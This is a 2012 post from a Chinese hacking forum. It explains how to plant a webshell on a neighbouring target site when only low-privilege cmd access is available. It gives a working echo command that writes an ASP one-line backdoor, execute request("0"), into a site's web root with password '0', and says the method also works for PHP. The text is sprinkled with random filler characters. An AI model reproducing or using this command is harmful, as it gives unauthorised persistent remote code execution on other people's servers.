找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2015|回复: 0
打印 上一主题 下一主题

旁注cmd低权限下拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:40:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在旁注过程中,可以执行cmd而权限又比较低的情况下,有时候可以用这个方法帮你拿下目标站。0 d% N/ i$ O4 h: O- a* ]. U
8 Z, C: h6 k  `4 q6 Z3 X7 ?
命令格式
4 A8 {7 x- q: l8 g  C, U
3 C$ J4 R3 ^. s& U) [5 AEcho 语句 >目标站绝对目录
4 v. h' T0 w$ y  I! O0 X# z- ^% V" m1 N: g6 I
例如: ) j8 u5 f0 t: w; a1 S' v
% t7 n( j: D+ T; h! m* _: b' `- U
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
. d9 W; o+ @$ ?5 O9 j
& l6 h+ s$ E; `/ ~8 i3 M7 q: |2 k5 ~这样访问目标站的目录下就会生成一个密码为0的asp的一句话,此方法在PHP等脚本语言均适用,大家灵活发挥。
0 Z- ^9 Q1 ?0 Z$ Z7 H3 i$ F( A3 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表